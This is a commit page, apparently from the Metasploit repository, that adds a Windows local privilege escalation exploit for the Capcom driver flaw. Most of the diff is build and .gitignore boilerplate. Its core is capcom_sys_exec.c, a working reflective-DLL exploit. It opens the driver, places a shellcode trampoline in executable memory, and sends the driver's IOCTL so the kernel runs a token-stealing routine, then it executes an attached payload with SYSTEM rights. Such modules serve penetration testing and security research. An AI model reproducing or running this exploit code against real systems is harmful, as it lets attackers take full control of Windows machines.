Skip to content

Commit 0e82ced

Browse files
OJOJ
committed
Add LPE exploit module for the capcom driver flaw
This commit includes: * RDI binary that abuses the SMEP bypass and userland function pointer invocation that is provided by the driver. * Related metasploit module. * Associated make.build to build from command line. * Updated command line build file. This also includes the beginnings of a new set of functions that help with the management/automation of kernel-related work on Windows for local priv esc exploits.
1 parent b87911b commit 0e82ced

File tree

11 files changed

+1025
-0
lines changed

11 files changed

+1025
-0
lines changed

‎data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll

83.5 KB
Binary file not shown.

‎external/source/exploits/capcom_sys_exec/.gitignore

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
## Ignore Visual Studio temporary files, build results, and
2+
## files generated by popular Visual Studio add-ons.
3+
4+
# User-specific files
5+
*.suo
6+
*.user
7+
*.sln.docstates
8+
9+
# Build results
10+
11+
[Dd]ebug/
12+
[Rr]elease/
13+
x64/
14+
build/
15+
[Bb]in/
16+
[Oo]bj/
17+
18+
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
19+
!packages/*/build/
20+
21+
# MSTest test Results
22+
[Tt]est[Rr]esult*/
23+
[Bb]uild[Ll]og.*
24+
25+
*_i.c
26+
*_p.c
27+
*.ilk
28+
*.meta
29+
*.obj
30+
*.pch
31+
*.pdb
32+
*.pgc
33+
*.pgd
34+
*.rsp
35+
*.sbr
36+
*.tlb
37+
*.tli
38+
*.tlh
39+
*.tmp
40+
*.tmp_proj
41+
*.log
42+
*.vspscc
43+
*.vssscc
44+
.builds
45+
*.pidb
46+
*.log
47+
*.scc
48+
49+
# Visual C++ cache files
50+
ipch/
51+
*.aps
52+
*.ncb
53+
*.opensdf
54+
*.sdf
55+
*.cachefile
56+
57+
# Visual Studio profiler
58+
*.psess
59+
*.vsp
60+
*.vspx
61+
62+
# Guidance Automation Toolkit
63+
*.gpState
64+
65+
# ReSharper is a .NET coding add-in
66+
_ReSharper*/
67+
*.[Rr]e[Ss]harper
68+
69+
# TeamCity is a build add-in
70+
_TeamCity*
71+
72+
# DotCover is a Code Coverage Tool
73+
*.dotCover
74+
75+
# NCrunch
76+
*.ncrunch*
77+
.*crunch*.local.xml
78+
79+
# Installshield output folder
80+
[Ee]xpress/
81+
82+
# DocProject is a documentation generator add-in
83+
DocProject/buildhelp/
84+
DocProject/Help/*.HxT
85+
DocProject/Help/*.HxC
86+
DocProject/Help/*.hhc
87+
DocProject/Help/*.hhk
88+
DocProject/Help/*.hhp
89+
DocProject/Help/Html2
90+
DocProject/Help/html
91+
92+
# Click-Once directory
93+
publish/
94+
95+
# Publish Web Output
96+
*.Publish.xml
97+
*.pubxml
98+
99+
# NuGet Packages Directory
100+
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
101+
#packages/
102+
103+
# Windows Azure Build Output
104+
csx
105+
*.build.csdef
106+
107+
# Windows Store app package directory
108+
AppPackages/
109+
110+
# Others
111+
sql/
112+
*.Cache
113+
ClientBin/
114+
[Ss]tyle[Cc]op.*
115+
~$*
116+
*~
117+
*.dbmdl
118+
*.[Pp]ublish.xml
119+
*.pfx
120+
*.publishsettings
121+
122+
# RIA/Silverlight projects
123+
Generated_Code/
124+
125+
# Backup & report files from converting an old project file to a newer
126+
# Visual Studio version. Backup files are not needed, because we have git ;-)
127+
_UpgradeReport_Files/
128+
Backup*/
129+
UpgradeLog*.XML
130+
UpgradeLog*.htm
131+
132+
# SQL Server files
133+
App_Data/*.mdf
134+
App_Data/*.ldf
135+
136+
# =========================
137+
# Windows detritus
138+
# =========================
139+
140+
# Windows image file caches
141+
Thumbs.db
142+
ehthumbs.db
143+
144+
# Folder config file
145+
Desktop.ini
146+
147+
# Recycle Bin used on file shares
148+
$RECYCLE.BIN/
149+
150+
# Mac crap
151+
.DS_Store

‎external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 2013
4+
VisualStudioVersion = 12.0.40629.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "capcom_sys_exec", "capcom_sys_exec\capcom_sys_exec.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Release|x64 = Release|x64
11+
EndGlobalSection
12+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
13+
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64
14+
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64
15+
EndGlobalSection
16+
GlobalSection(SolutionProperties) = preSolution
17+
HideSolutionNode = FALSE
18+
EndGlobalSection
19+
EndGlobal

‎external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
2+
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
3+
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
4+
#include "kernel.h"
5+
6+
DWORD WINAPI execute_payload(LPVOID lpPayload)
7+
{
8+
VOID(*lpCode)() = (VOID(*)())lpPayload;
9+
lpCode();
10+
return ERROR_SUCCESS;
11+
}
12+
13+
DWORD WINAPI capcom_sys_exec(LPVOID lpPayload)
14+
{
15+
const DWORD PwnControlCode = 0xAA013044;
16+
HANDLE driver = INVALID_HANDLE_VALUE;
17+
PBYTE payload = NULL;
18+
19+
do
20+
{
21+
if (!is_driver_loaded(L"capcom.sys"))
22+
{
23+
break;
24+
}
25+
26+
if (!prepare_for_kernel())
27+
{
28+
break;
29+
}
30+
31+
// Get a handle to the capcom.sys driver.
32+
driver = CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
33+
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
34+
35+
if (driver == INVALID_HANDLE_VALUE)
36+
{
37+
break;
38+
}
39+
40+
// get a payload read that should cause it to weep
41+
BYTE payloadTemplate[] =
42+
{
43+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the CALL will be set here too
44+
0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 (causes push of address of steal token)
45+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the token stealer will go here
46+
0x58, // POP RAX - get the address containing the steal token func
47+
0xFF, 0x20 // JMP [RAX] - call the steal token function
48+
};
49+
50+
payload = VirtualAlloc(0, sizeof(payloadTemplate) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
51+
52+
if (payload == NULL)
53+
{
54+
break;
55+
}
56+
57+
// copy the template into the target buffer
58+
memcpy(payload, payloadTemplate, sizeof(payloadTemplate));
59+
60+
// update the template with the relevent info
61+
*(PULONG_PTR)payload = (ULONG_PTR)(payload + 8); // point the first 8 bytes to the second 8 bytes
62+
*(PULONG_PTR)(payload + 13) = (ULONG_PTR)steal_process_token; // insert the token stealer address
63+
64+
ULONG_PTR target = (ULONG_PTR)(payload + 8);
65+
DWORD bytesReturned = 0;
66+
DeviceIoControl(driver, PwnControlCode, &target, 8, payload, 4, &bytesReturned, NULL);
67+
68+
if (was_token_replaced() && lpPayload)
69+
{
70+
execute_payload(lpPayload);
71+
}
72+
73+
} while (0);
74+
75+
if (payload != NULL)
76+
{
77+
VirtualFree(payload, 0, MEM_RELEASE);
78+
}
79+
80+
if (driver != INVALID_HANDLE_VALUE)
81+
{
82+
CloseHandle(driver);
83+
}
84+
85+
return 0;
86+
}
87+
88+
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
89+
{
90+
BOOL bReturnValue = TRUE;
91+
switch (dwReason)
92+
{
93+
case DLL_QUERY_HMODULE:
94+
hAppInstance = hinstDLL;
95+
if (lpReserved != NULL)
96+
{
97+
*(HMODULE *)lpReserved = hAppInstance;
98+
}
99+
break;
100+
case DLL_PROCESS_ATTACH:
101+
hAppInstance = hinstDLL;
102+
capcom_sys_exec(lpReserved);
103+
break;
104+
case DLL_PROCESS_DETACH:
105+
case DLL_THREAD_ATTACH:
106+
case DLL_THREAD_DETACH:
107+
break;
108+
}
109+
return bReturnValue;
110+
}

‎external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Release|x64">
5+
<Configuration>Release</Configuration>
6+
<Platform>x64</Platform>
7+
</ProjectConfiguration>
8+
</ItemGroup>
9+
<ItemGroup>
10+
<ClCompile Include="..\..\..\win_kernel_common\kernel.c" />
11+
<ClCompile Include="capcom_sys_exec.c" />
12+
</ItemGroup>
13+
<ItemGroup>
14+
<ClInclude Include="..\..\..\win_kernel_common\kernel.h" />
15+
<ClInclude Include="..\..\..\win_kernel_common\windefs.h" />
16+
</ItemGroup>
17+
<PropertyGroup Label="Globals">
18+
<ProjectGuid>{a67ba207-7aac-4850-beb1-e7fa07bac0b1}</ProjectGuid>
19+
<RootNamespace>capcom_sys_exec</RootNamespace>
20+
<Keyword>Win32Proj</Keyword>
21+
</PropertyGroup>
22+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
23+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
24+
<ConfigurationType>DynamicLibrary</ConfigurationType>
25+
<CharacterSet>MultiByte</CharacterSet>
26+
<WholeProgramOptimization>false</WholeProgramOptimization>
27+
<PlatformToolset>v120_xp</PlatformToolset>
28+
</PropertyGroup>
29+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
30+
<ImportGroup Label="ExtensionSettings">
31+
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
32+
</ImportGroup>
33+
<ImportGroup Label="PropertySheets">
34+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
35+
</ImportGroup>
36+
<PropertyGroup Label="UserMacros" />
37+
<PropertyGroup>
38+
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
39+
<OutDir>$(Configuration)\$(Platform)\</OutDir>
40+
<IntDir>$(Configuration)\$(Platform)\</IntDir>
41+
<LinkIncremental>false</LinkIncremental>
42+
<GenerateManifest>false</GenerateManifest>
43+
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
44+
<CodeAnalysisRules />
45+
<CodeAnalysisRuleAssemblies />
46+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
49+
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
50+
</PropertyGroup>
51+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
52+
<ClCompile>
53+
<Optimization>MinSpace</Optimization>
54+
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
55+
<IntrinsicFunctions>false</IntrinsicFunctions>
56+
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
57+
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
58+
<StringPooling>true</StringPooling>
59+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
60+
<FunctionLevelLinking>false</FunctionLevelLinking>
61+
<PrecompiledHeader>
62+
</PrecompiledHeader>
63+
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
64+
<ObjectFileName>$(OutDir)\</ObjectFileName>
65+
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
66+
<WarningLevel>Level3</WarningLevel>
67+
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
68+
<BufferSecurityCheck>false</BufferSecurityCheck>
69+
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
70+
<TreatWarningAsError>true</TreatWarningAsError>
71+
</ClCompile>
72+
<Link>
73+
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
74+
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
75+
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
76+
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
77+
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
78+
<GenerateDebugInformation>false</GenerateDebugInformation>
79+
<GenerateMapFile>true</GenerateMapFile>
80+
<MapFileName>$(OutDir)\capcom_sys_exec.map</MapFileName>
81+
<SubSystem>Windows</SubSystem>
82+
<OptimizeReferences>
83+
</OptimizeReferences>
84+
<EnableCOMDATFolding>
85+
</EnableCOMDATFolding>
86+
<RandomizedBaseAddress>false</RandomizedBaseAddress>
87+
<DataExecutionPrevention>
88+
</DataExecutionPrevention>
89+
<ImportLibrary>$(OutDir)\capcom_sys_exec.lib</ImportLibrary>
90+
<Profile>false</Profile>
91+
<ModuleDefinitionFile>
92+
</ModuleDefinitionFile>
93+
<AdditionalOptions>/ignore:4070</AdditionalOptions>
94+
</Link>
95+
<PostBuildEvent>
96+
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
97+
IF EXIST "..\..\..\..\..\data\exploits\capcom_sys_exec\" GOTO COPY
98+
mkdir "..\..\..\..\..\data\exploits\capcom_sys_exec\"
99+
:COPY
100+
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\capcom_sys_exec\"</Command>
101+
</PostBuildEvent>
102+
</ItemDefinitionGroup>
103+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
104+
<ImportGroup Label="ExtensionTargets">
105+
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
106+
</ImportGroup>
107+
</Project>

0 commit comments

Comments
 (0)